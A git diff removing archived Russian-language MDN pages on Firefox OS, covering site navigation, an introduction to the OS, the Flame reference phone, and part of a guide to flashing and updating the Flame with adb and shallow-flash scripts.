- <li><a href="/ru/Firefox_OS/Customization_with_the_.userconfig_file" title="How to customize the build and execution of Firefox OS by changing the .userconfig file.">Customization with the .userconfig file</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Firefox_OS/Customizing_the_b2g.sh_script">Customizing the b2g.sh script</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Firefox_OS/Porting" title="Information about how to port Firefox OS to new devices.">Porting Firefox OS</a></li>
- </ol>
- </li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia">Developing Gaia</a>
- <ol>
- <li><strong><a href="/ru/Firefox_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Test_Gaia_code_changes">Testing Gaia code changes</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
- <li><a href="/ru/Firefox_OS/Platform/Gaia/Build_System_Primer">Gaia build system primer</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Customizing_build-time_apps">Customizing build-time apps</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Market_customizations_guide">Market customizations guide</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Customizing_the_keyboard">Customizing the keyboard in Firefox OS apps</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Localizing_Firefox_OS">Localizing Firefox OS</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/L10n_Best_Practices">L10n Best Practices</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
- <li><a href="/ru/Firefox_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
- </ol>
- </li>
- <li><a href="/ru/Firefox_OS/Phone_guide" title="A developer's guide to the Firefox OS developer phones available.">Firefox OS phone guide </a>
- <ol>
- <li><strong><a href="/ru/Firefox_OS/Phone_guide">Firefox OS phone guide overview</a></strong></li>
- <li><a href="/ru/Firefox_OS/Developer_phone_guide/Phone_specs">Phone and device specs</a></li>
- <li><a href="/ru/Firefox_OS/Developer_phone_guide/Geeksphone">Geeksphone</a></li>
- <li><a href="/ru/Firefox_OS/Developer_phone_guide/ZTE_OPEN">ZTE OPEN</a></li>
- <li><a href="/ru/Firefox_OS/Developer_phone_guide/ZTE_OPEN_C">ZTE OPEN C</a></li>
- <li><a href="/ru/Firefox_OS/Developer_phone_guide/Flame">Flame</a></li>
- <li><a href="/ru/Firefox_OS/Developer_phone_guide/Firefox_OS_device_features">General device features</a></li>
- <li><a href="/ru/Firefox_OS/Troubleshooting" title="A guide to resolving common problems with Firefox OS.">Troubleshooting</a></li>
- <li><a href="/ru/Firefox_OS/Developer_phone_guide/Best_practices_open_reference_devices">Best practices for open reference devices</a></li>
- </ol>
- </li>
- <li><a href="/ru/Firefox_OS/TVs_connected_devices">Firefox OS on TVs and connected devices</a></li>
- <li><a href="/ru/Firefox_OS/Releases" title="This section of the site contains release notes, explaining what new features and changes of significance to developers have landed in each new release of Gaia and Gecko on Firefox OS.">Firefox OS release notes</a>
- <ol>
- <li><a href="/ru/Firefox_OS/Releases">Firefox OS release notes overview</a></li>
- <li><a href="/ru/Firefox_OS/Releases/2.2">Firefox OS 2.2 for developers</a></li>
- <li><a href="/ru/Firefox_OS/Releases/2.1">Firefox OS 2.1 for developers</a></li>
- <li><a href="/ru/Firefox_OS/Releases/2.0">Firefox OS 2.0 for developers</a></li>
- <li><a href="/ru/Firefox_OS/Releases/1.4">Firefox OS 1.4 for developers</a></li>
- <li><a href="/ru/Firefox_OS/Releases/1.3">Firefox OS 1.3 for developers</a></li>
- <li><a href="/ru/Firefox_OS/Releases/1.2">Firefox OS 1.2 for developers</a></li>
- <li><a href="/ru/Firefox_OS/Releases/1.1">Firefox OS 1.1 for developers</a></li>
- <li><a href="/ru/Firefox_OS/Releases/1.0.1">Firefox OS 1.0.1 for developers</a></li>
- </ol>
- </li>
- <li><a href="/ru/Firefox_OS/Automated_testing">Automated testing</a>
- <ol>
- <li><strong><a href="/ru/Firefox_OS/Automated_testing">Firefox OS automated testing overview</a></strong></li>
- <li><a href="/ru/Firefox_OS/Running_Tests_on_Firefox_OS_for_Developers">Running tests on Firefox OS: A guide for developers</a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/gaia-ui-tests" title="/ru/docs/Mozilla/Firefox_OS/Automated_testing/gaia-ui-tests">Gaia UI tests</a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_integration_tests">Gaia integration tests</a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_unit_tests" title="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Gaia_unit_tests">Gaia unit tests</a></li>
- <li><a href="/ru/Firefox_OS/Automated_testing/Gaia_performance_tests">Gaia performance tests</a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Mochitests" title="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Mochitests"><span class="gm-spell gm_ gm_8ea2aeb5-60d9-d796-930f-2db1e4217eaa">Mochitests</span></a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Reftests" title="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Reftests"><span class="gm-spell gm_ gm_9567400a-e713-3d43-ffa9-05fd8c3a28a2">Reftests</span></a></li>
- <li><a href="/ru/docs/Marionette/Marionette_JavaScript_Tests" title="/ru/docs/Marionette/Marionette_JavaScript_Tests">WebAPI tests</a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/XPCShell" title="/ru/docs/Mozilla/Firefox_OS/Automated_testing/XPCShell"><span class="gmw_"><span class="gm-spell gm_ gm_cc093417-aacf-72e2-e15f-c15a7509a6a8">xpcshell</span> tests</span></a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/MTBF_tests">MTBF test</a></li>
- <li><a href="/ru/docs/Marionette" title="/ru/docs/Marionette">Marionette</a></li>
- <li><a href="/ru/docs/Mozilla/Firefox_OS/Automated_testing/Treeherder">Treeherder</a></li>
- <li><a class="external external-icon" href="https://wiki.mozilla.org/QA/Execution/Web_Testing/Automation/Jenkins">Jenkins</a></li>
- </ol>
- </li>
- <li><a href="/ru/Firefox_OS/Debugging" title="A guide to debugging both your mobile apps and Firefox OS itself.">Debugging</a>
- <ol>
- <li><strong><a href="/ru/Firefox_OS/Debugging">Firefox OS debugging overview</a></strong></li>
- <li><a href="/ru/Firefox_OS/Debugging/Developer_settings">Developer settings for Firefox OS</a></li>
- <li><a href="/ru/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop">Connecting a Firefox OS device to the desktop</a></li>
- <li><a href="/ru/Firefox_OS/Debugging/Setting_up">Setting up to debug Firefox OS using Firefox developer tools</a></li>
- <li><a href="/ru/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a></li>
- <li><a href="/ru/Firefox_OS/Debugging/Installing_ADB">Installing and using ADB</a></li>
- <li><a href="/ru/Firefox_OS/Firefox_OS_usage_tips/taking_screenshots">Taking screenshots</a></li>
- <li><a href="/en_US/docs/Tools/WebIDE" title="A tool that allows you to install open web apps from your computer to a device capable of installing them (such as Firefox OS) - and debug any running app.">Using the WebIDE</a></li>
- <li><a href="/ru/Firefox_OS/Using_the_App_Manager">Using the App Manager</a></li>
- <li><a href="/ru/Firefox_OS/Debugging/Firefox_OS_crash_reporting">Firefox OS crash reporting</a></li>
- <li><a href="/ru/Firefox_OS/Debugging/Debugging_OOMs">Debugging out of memory errors on Firefox OS</a></li>
- <li><a href="/ru/Firefox_OS/Debugging/Debugging_and_security_testing">Debugging and security testing with Firefox OS</a></li>
- <li><a href="/ru/Firefox_OS/Debugging/Debugging_B2G_using_gdb"><span class="gmw_">Debugging B2G using <span class="gm-spell gm_ gm_7a44a2c7-9d5d-e693-57b5-a88dd9adacd8">gdb</span></span></a></li>
- <li><a href="/ru/Firefox_OS/Debugging/Debugging_B2G_using_valgrind">Debugging B2G using Valgrind</a></li>
- </ol>
- </li>
-</ol>
diff --git a/files/ru/archive/b2g_os/introduction/index.html b/files/ru/archive/b2g_os/introduction/index.html
deleted file mode 100644
index 48450f392a..0000000000
--- a/files/ru/archive/b2g_os/introduction/index.html
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: Введение в ОС Firefox
-slug: Archive/B2G_OS/Introduction
-translation_of: Archive/B2G_OS/Introduction
----
-<p><strong>Firefox OS</strong> (также известная под рабочим названием "Boot to Gecko" или "B2G") является мобильной операционной системой с открытым исходным кодом, базирующейся на Linux и Gecko, от Mozilla. Идея проекта состоит в том, чтобы всё доступное программное обеспечение на мобильном устройстве запускалась как веб-приложение, используя новшества HTML5 и API устройства для прямого взаимодействия с аппаратными средствами посредством javascript.</p>
-
-<p>For Web developers, the most important part to understand is that the entire user interface is a Web app, one that is capable of displaying and launching other Web apps. Any modifications you make to the user interface and any applications you create to run on Firefox OS are Web pages, albeit with enhanced access to the mobile device's hardware and services.</p>
-
-<p>You can learn how to build and install Firefox OS by <a href="/en/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko" title="en/Mozilla/Boot_to_Gecko/Building_and_installing_Boot_to_Gecko">following our handy guide</a>.</p>
-
-<h2 id="Usage_tips">Usage tips</h2>
-
-<p>This section provides some tips that will help you actually use Firefox OS. This is something of a placeholder until we have real usage documentation. </p>
-
-<h3 id="Разблокировка_телефона">Разблокировка телефона</h3>
-
-<p>If your build of Firefox OS starts up asking for a pass code to unlock the device, the default code is 0000. Some builds will do this while we develop and test the lock screen.</p>
-
-<h3 id="Создание_снимка_экрана">Создание снимка экрана</h3>
-
-<p>На данный момент невозможно сделать скриншот через устройство на ОС Firefox. Но вы можете сделать это через терминал из ОС Linux или компьютера с Mac OS X с установленными инструментами для сборки приложений под ОС Firefox.</p>
-
-<ol>
- <li>Убедитесь, что у вас установлен ffmpeg.
- <ol>
- <li>На Mac, если вы используете MacPorts, то вы можете его установить с помощью команды <code>sudo port install ffmpeg</code>. Для homebrew, пропишите <code>brew install ffmpeg</code>.</li>
- <li>В Linux (Ubuntu/Debian), используйте команду <code>sudo apt-get install ffmpeg</code>.</li>
- </ol>
- </li>
- <li>Соедините ваш телефон к ПК через USB кабель.</li>
- <li>Выберите приложение, которое вы хотите заснять.</li>
- <li><code>cd</code> в папку <code>B2G/gaia</code> .</li>
- <li><code>make screenshot</code></li>
- <li>Теперь у вас есть скриншот названный <code>screenshot.png</code>.</li>
-</ol>
diff --git a/files/ru/archive/b2g_os/phone_guide/flame/index.html b/files/ru/archive/b2g_os/phone_guide/flame/index.html
deleted file mode 100644
index 2df8a12f65..0000000000
--- a/files/ru/archive/b2g_os/phone_guide/flame/index.html
+++ /dev/null
@@ -1,72 +0,0 @@
----
-title: Flame
-slug: Archive/B2G_OS/Phone_guide/Flame
-tags:
- - Firefox OS
- - Flame
- - NeedsTranslation
- - TopicStub
- - developer phone
- - official reference device
-translation_of: Archive/B2G_OS/Phone_guide/Flame
----
-<p><img alt="A picture of the Flame device, showing the Firefox OS homescreen containing several app icons." src="https://mdn.mozillademos.org/files/8373/flame-dev-hud.png" style="float: left; margin-bottom: 20px; margin-right: 50px; width: 25%;"></p>
-
-<p><span class="seoSummary">The Flame device is the official reference device for developing, testing, and debugging Firefox OS and open web apps. This guide provides basic information about its hardware specifications as well as practical documentation specific to experimenting with, developing for, and testing of software compatible with this phone.</span></p>
-
-<p>The Flame hardware offers a representative set of specs — including FWVGA display and dual-core processor — to help developers build great content and experiences. A stable hardware platform is also good for testers, making it easier to test and address specific software issues without having to worry about device model-specific bugs, etc.</p>
-
-<p>If you have your phone in hand and want to start playing with it, developing and distributing apps, or contributing to the Firefox platform, the following links will also get you where you need to go:</p>
-
-<ul>
- <li><a href="/en-US/Firefox_OS">Firefox OS zone</a>: For creating your own Firefox OS builds and contributing to the B2G and Gaia projects.</li>
- <li><a href="/en-US/Apps">App Center zone</a>: For building open web apps compatible with Firefox OS.</li>
- <li><a href="/en-US/Marketplace">Marketplace zone</a>: For information on publishing and distributing apps.</li>
- <li><a href="https://marketplace.firefox.com/">Firefox Marketplace</a>: The best place to find and publish new Firefox OS apps.</li>
-</ul>
-
-<p>If you’d like to find out more about updating the operating system, recovering it, pushing apps to it, or phone specs, you’ll find the information you need at the following two articles :</p>
-
-<ul>
- <li><a href="/en-US/Firefox_OS/Developer_phone_guide/Flame/Initial_setup">Initial setup</a>: Essential steps to follow for setting up your computer to work with your Flame.</li>
- <li><a href="/en-US/Firefox_OS/Developer_phone_guide/Flame/Updating_your_Flame">Updating your Flame</a>: How to update or upgrade Firefox OS on your Flame, push apps to it, and troubleshoot and test it.</li>
-</ul>
-
-<h2 id="Get_a_device">Get a device</h2>
-
-<p>Flame sales have come to an end. There are still opportunities left for Mozilla contributors to get free Flames, including the upcoming Foxtrot program. If you have questions about getting a device for development or testing, please reach out to Asa Dotzler on the <a href="irc://irc.mozilla.org/fxos">#fxos</a> channel on IRC.</p>
-
-<h2 id="Device_specifications">Device specifications</h2>
-
-<p>You can find more of the device specifications listed on our <a href="/en-US/Firefox_OS/Phone_guide/Phone_specs">Phone and device specs page</a>.</p>
-
-<h3 id="Network"><strong>Network</strong></h3>
-
-<ul>
- <li>GSM 850/900/1800/1900MHz</li>
- <li>UMTS 850/900/1900/2100MHz</li>
- <li>Wifi 802.11b/g/n</li>
- <li>Bluetooth 3.0</li>
-</ul>
-
-<h3 id="Hardware">Hardware</h3>
-
-<ul>
- <li>Dual-SIM</li>
- <li>NFC</li>
- <li>Accelerometer</li>
- <li>FM radio</li>
- <li>Proximity Sensor</li>
- <li>GPS W / A-GPS support</li>
- <li>Ambient Light Sensor</li>
-</ul>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/Firefox_OS/Developer_phone_guide/Flame/Initial_setup">Initial setup</a>: Essential steps to follow for setting up your computer to work with your Flame.</li>
- <li><a href="/en-US/Firefox_OS/Developer_phone_guide/Flame/Updating_your_Flame">Updating your Flame</a>: How to update or upgrade Firefox OS on your Flame, push apps to it, and troubleshoot and test it.</li>
- <li><a href="https://hacks.mozilla.org/2014/08/videos-getting-started-with-your-flame-device/">Getting started with your Flame</a>: How-to videos by Chris Heilmann.</li>
- <li><a href="http://mozilla.github.io/flame-on/">Flame On</a>: Great starting page for all Flame owners created at Mozilla Festival 2014.</li>
- <li><a href="https://blog.mozilla.org/press/2014/02/developer-momentum-2/">Original announcement</a>: Press Announcement, February 23, 2014.</li>
-</ul>
diff --git a/files/ru/archive/b2g_os/phone_guide/flame/updating_your_flam/index.html b/files/ru/archive/b2g_os/phone_guide/flame/updating_your_flam/index.html
deleted file mode 100644
index 0ea139aaca..0000000000
--- a/files/ru/archive/b2g_os/phone_guide/flame/updating_your_flam/index.html
+++ /dev/null
@@ -1,506 +0,0 @@
----
-title: Updating your Flame
-slug: Archive/B2G_OS/Phone_guide/Flame/Updating_your_Flam
-translation_of: Archive/B2G_OS/Phone_guide/Flame/Updating_your_Flame
----
-<p> </p>
-
-<p></p><section class="Quick_links" id="Quick_Links">
-
-<ol>
- <li class="toggle">
- <details>
- <summary>Build and install</summary>
- <ol>
- <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Build and install overview</a></strong></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_build_process_summary">B2G OS build process summary</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Build prerequisites</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparing for your first build</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building">Building B2G OS</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">B2G installer add-on</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Building B2G OS for Flame on Mac OS X</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Choosing how to run Gaia or B2G OS</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Compatible Devices</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installing B2G OS on a mobile device</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creating and applying B2G OS update packages</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Building and installing FOTA community builds</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">B2G build variables reference sheet</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Porting B2G OS</summary>
- <ol>
- <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS">Porting overview</a></strong></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Porting basics</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Porting on CyanogenMod</a></li>
- </ol>
- </details>
- </li>
- <li class="toggle">
- <details>
- <summary>Developing Gaia</summary>
- <ol>
- <li><strong><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia">Developing Gaia overview</a></strong></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Running the Gaia codebase</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Mulet">Run Gaia on desktop using Mulet</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Understanding the Gaia codebase</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Making Gaia code changes</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Testing Gaia code changes</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Gaia build system primer</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Different ways to run Gaia</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Make options reference</a></li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Gaia tools reference</a></li>
- </ol>
- </details>
- </li>
- <li><a href="/ru/docs/Mozilla/B2G_OS/API">B2G OS APIs</a></li>
-</ol>
-</section><p></p>
-
-<div class="summary">
-<p>This article covers how to update the software on your Flame — including updating Firefox OS and pushing new apps to your phone — along with backing up your data, and other useful troubleshooting and testing information. Before starting to do any of this, you should make sure you have run through the <a href="/en-US/Firefox_OS/Developer_phone_guide/Flame/Initial_setup">Initial setup</a> information.</p>
-</div>
-
-<h2 id="Quick_guide_to_updating_your_device">Quick guide to updating your device</h2>
-
-<p>There is a lot of information in this article, so here we've included a quick start guide that takes you through the steps you need quickly to get your device updated. You can refer to the below sections for more detail if it is needed.</p>
-
-<h3 id="Full_flash_to_the_latest_base_image">Full flash to the latest base image</h3>
-
-<p>This set of steps needs to be done before you do anything else to your phone (see <a href="#Base_image">Base image</a> and <a href="#Base_image_installation">Base image installation</a> if you require more details.)</p>
-
-<div id="magicdomid12"><span class="author-p-18262"><strong>Prerequisites</strong>: Make sure you have adb and fastboot installed and available in your system's <code>PATH</code> (see <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Installing_ADB">Installing ADB and Fastboot</a>.)</span><br>
- </div>
-
-<ol>
- <li id="magicdomid14"><span class="author-p-18262">Download the latest base image —</span><a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v5/v18D_nightly_v5.zip">Base image v18D_nightly_v5</a> — <span class="author-p-18262">to your computer.</span></li>
- <li id="magicdomid18"><span class="author-p-18262">On your Flame device, enable remote debugging by navigating to <em>Settings &gt; Developer</em> and enabling the </span><a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Developer_settings#Debugging_via_USB">Debugging via USB</a><span class="author-p-18262"> option.</span></li>
- <li id="magicdomid20"><span class="author-p-18262">Connect your Flame to your computer via a USB cable.</span></li>
- <li id="magicdomid22"><span class="author-p-18262">Verify that the computer is connected to the device by typing this command:</span>
- <pre class="brush: bash"><span class="author-p-18262 i">adb devices</span><span class="author-p-18262"> </span><span class="author-p-18262"> </span>
-</pre>
- You should see something like the following:
-
- <pre class="brush: bash">List of devices attached
-94f7ce4c device</pre>
- If you don't see your device attached (no second line), then try unplugging and replugging the USB cable and trying again; also check that <em>Debugging via USB</em> is enabled on the phone as mentioned in step 2. If you get a message saying that adb could not be found, you probably haven't set your path correctly (see prerequisites.)</li>
- <li id="magicdomid28"><span class="author-p-18262">Extract the base image zip file and navigate to the new directory, using for example:</span>
- <pre class="brush: bash" id="magicdomid31"><span class="author-p-18262 i"><em>cd </em></span><span class="author-p-18262 i url">v18D_nightly_v5</span></pre>
- </li>
- <li id="magicdomid33"><span class="author-p-18262">Run the flashing script by running the correct below command for your system</span>
- <pre class="brush: bash"><span class="author-p-18262"># Windows</span>
-<span class="author-p-18262 i"><em>flash.bat</em></span>
-
-<span class="author-p-18262"># Linux / OSX</span>
-<span class="author-p-18262 i"><em>./flash.sh</em></span></pre>
- </li>
-</ol>
-
-<div class="note">
-<p><span class="author-p-18262"><strong>Note</strong>: if you don't see the right filename for your system, you can rename flash.bat or flash.sh back and forth as needed. The contents are the same.</span></p>
-</div>
-
-<div class="note">
-<p>Note: Verify the contents of the base image using the checksum below:</p>
-
-<pre>Checksum: <strong>SHA512(v18D_nightly_v5.zip)= f92123446f71289dd0ea23b0c602f8a192267fbfcf2f25682cbc072f8bbe3e8b795aea3305ba6ea6cc504d252f1d895b07704b5b65700fcf3760e1386b89c431</strong><strong>
-</strong>Build id<strong>: 20151221215202</strong>
-</pre>
-</div>
-
-<p>At this point you should be on the latest 2.6 base image, and be able to receive FOTA updates.</p>
-
-<div class="note">
-<p><span class="author-p-18262"><strong>Note</strong>: if you want to be on the very latest builds of flame (that have not been smoke tested), go to settings -&gt; developer, scroll down to the bottom, and change the channel to nightly-latest.  Reboot the device, then go back to settings -&gt; device info and check for updates.  You can update to the latest version without having to shallow flash.  For shallow flashing see the next section.</span></p>
-</div>
-
-<h4 id="Update_channel_reset_bug">Update channel reset bug</h4>
-
-<p>As mentioned in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1217490" title="FIXED: [Aries] The dogfood/dogfood-latest channel are reset to nightly after latest OTA">баг 1217490</a>, some Firefox OS testers testing Firefox OS 2.5 or the latest FOTA updates (on Flame, but also on other dogfooding devices) may find that when they install a FOTA update, their update channel is reset to <code>nightly</code>, meaning that they won’t receive subsequent FOTA updates coming through other channels. To avoid this, it is recommended that you set your update channel to <code>nightly-latest</code> in the Firefox OS settings via WebIDE. To do this:</p>
-
-<ol>
- <li>Plug your phone into your computer via USB (make sure <em>Debugging via USB</em> is set to <em>ADB and DevTools</em> in the Phone's <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings">Developer Settings</a>.)</li>
- <li>Go to Firefox Desktop and open <a href="/en-US/docs/Tools/WebIDE">WebIDE</a>.</li>
- <li>Connect WebIDE to your phone by selecting it under <em>USB Devices</em>. Accept the connection prompt that appears on your phone.</li>
- <li>Under <em>Other</em> on the right hand side of the WebIDE UI, select <em>Device Settings</em>.</li>
- <li>Find <code>app.update.channel</code> in the list, and change the setting value in the corresponding textbox to <code>nightly-latest</code>.</li>
- <li>Find <code>app.update.channel.backup</code> and change the setting value to <code>nightly-latest</code> if you want it to persist after further updates.</li>
-</ol>
-
-<h3 id="Shallow_Flash_to_the_latest_Firefox_OS_nightly_(Gaia_and_Gecko)">Shallow Flash to the latest Firefox OS nightly (Gaia and Gecko)</h3>
-
-<p>This set of steps only needs to be done if you want to update to the VERY latest builds (see <a href="#Updating_your_Flame_to_a_nightly_build">Updating your Flame to a nightly build</a> if you require more details.)</p>
-
-<div id="magicdomid50"><span class="author-p-18262"><strong>Prerequisites</strong>: Windows users will need to install <a href="https://cygwin.com/">Cygwin</a>, which provides a Linux-like environment on Windows.</span><span class="author-p-18262"> The instructions below include steps for how to automatically install the appropriate packages if you don't already have it installed.</span></div>
-
-<div id="magicdomid51"> </div>
-
-<ol>
- <li id="magicdomid52"><span class="author-p-18262">Download the latest build from </span><a href="https://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk/">Mozilla Central</a><span class="author-p-18262">.  Download both the b2g-XX.XX.en-US.android-arm.tar.gz and gaia.zip files.</span></li>
- <li id="magicdomid54"><span class="author-p-18262 b"><strong>All platforms:</strong></span><span class="author-p-18262"> Download the <a href="https://raw.githubusercontent.com/Mozilla-TWQA/B2G-flash-tool/master/shallow_flash.sh">shallow flash script</a> in the same directory as the build files.</span></li>
- <li id="magicdomid58"><span class="author-p-18262 b"><strong>Windows users:</strong></span><span class="author-p-18262"> Also download the <a href="https://raw.githubusercontent.com/Mozilla-TWQA/B2G-flash-tool/master/shallow_flash.bat">shallow_flash.bat Windows</a> script in the same directory.</span><span class="author-p-18262"> If you don't already have Cygwin installed, also <a href="https://cygwin.com/setup-x86.exe">download the installation file</a> (you don't have to run it, the <code>shallow_flash.bat</code> script will use the installer to automatically configure the necessary packages).</span></li>
- <li id="magicdomid60"><span class="author-p-18262">In your terminal, <code>cd</code> into the directory you saved the files in and flash the builds to your phone using the following:</span>
- <pre class="brush: bash"><span class="author-p-18262 b"># Linux</span>
-<span class="author-p-18262">./shallow_flash.sh --gaia=gaia.zip --gecko=b2g-XX.XX.en-US.android-arm.tar.gz</span>
-
-<span class="author-p-18262 b"># Mac</span>
-<span class="author-p-18262">./shallow_flash.sh --gaia gaia.zip --gecko b2g-XX.XX.en-US.android-arm.tar.gz</span>
-
-<span class="author-p-18262 b"># Windows</span>
-<span class="author-p-18262"># You could also double click the shallow_flash.bat icon (with the cogs) from Windows Explorer.
-shallow_flash.bat</span></pre>
- </li>
-</ol>
-
-<p>This process will flash gaia.zip and a single b2g-XX.XX.en-US.android-arm.tar.gz file onto your phone. T<span class="author-p-18262">he files will be sent to the device and it will reboot after the process completes.</span></p>
-
-<div class="note">
-<p><span class="author-p-18262"><strong>Note</strong> : On Linux, if the script fails during </span>flashing Gaia, you can try replacing full options by their shortened version to see if that helps. Replace <span class="author-p-18262"><code>--gaia=gaia.zip</code> by <code>-g gaia.zip</code></span> and <span class="author-p-18262"><code>--gecko=b2g-XX.XX.en-US.android-arm.tar.gz</code> by <code>-G b2g-XX.XX.en-US.android-arm.tar.gz</code></span>.</p>
-</div>
-
-<h2 id="Updating_upgrading_the_Flame's_software">Updating &amp; upgrading the Flame's software</h2>
-
-<p>We have two main "channels" of Firefox OS software version releases for the Flame phone:</p>
-
-<ul>
- <li>The first channel is our release channel. Flames ship with this channel and will receive over-the-air updates for future major versions, that is, Flames will update from 1.3 to 2.0 to 2.1, etc.</li>
- <li>The second channel is our nightly channel. Flames can be flashed to this channel, and after the initial flashing will get over the air updates on a daily or nearly daily basis. </li>
-</ul>
-
-<h3 id="Base_Image"><a name="Base Image">Base Image</a></h3>
-
-<p>You can get recovery files and tools at the following storage locations:</p>
-
-<h4 id="Up-to-date_(use_these_unless_you_have_a_good_reason_not_to)">Up-to-date (use these unless you have a good reason not to)</h4>
-
-<ul>
- <li>Production:
- <ul>
- <li>Stable: <a href="http://cds.w5v8t3u9.hwcdn.net/v18D.zip">Base image v18D.zip</a>: The very latest stable archive, containing a Flame base production image of Firefox OS 2.0.</li>
- <li>Nightly: <a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v5/v18D_nightly_v5.zip">Base image v18D_nightly_v5</a>: The very latest version of the Flame base production image of Firefox OS 2.6.
- <pre>Checksum: <strong>SHA512(v18D_nightly_v5.zip)= f92123446f71289dd0ea23b0c602f8a192267fbfcf2f25682cbc072f8bbe3e8b795aea3305ba6ea6cc504d252f1d895b07704b5b65700fcf3760e1386b89c431</strong><strong>
-</strong>Build id<strong>: 20151221215202</strong>
-</pre>
- </li>
- <li>Sideload: image <a href="http://cds.w5v8t3u9.hwcdn.net/v18D_nightly_v5/update.zip">v18D_nightly_v5 update.zip</a>: The sideload file for updating your phone manually.  See the <a href="#sideload">sideload</a> section for instructions on how to update your phone to this build without losing data.
- <pre>Checksum: <strong>SHA512(update.zip)= 4c174f901a242a96729aa45d8551200ef4566913473f88f935c264689031a483e46d21856f0919c4dff467277d2f9c90cf0879107a6671d7b84c5d05405f4b6d</strong><strong>
-</strong>Build id<strong>: 20151221215202</strong>
-</pre>
- </li>
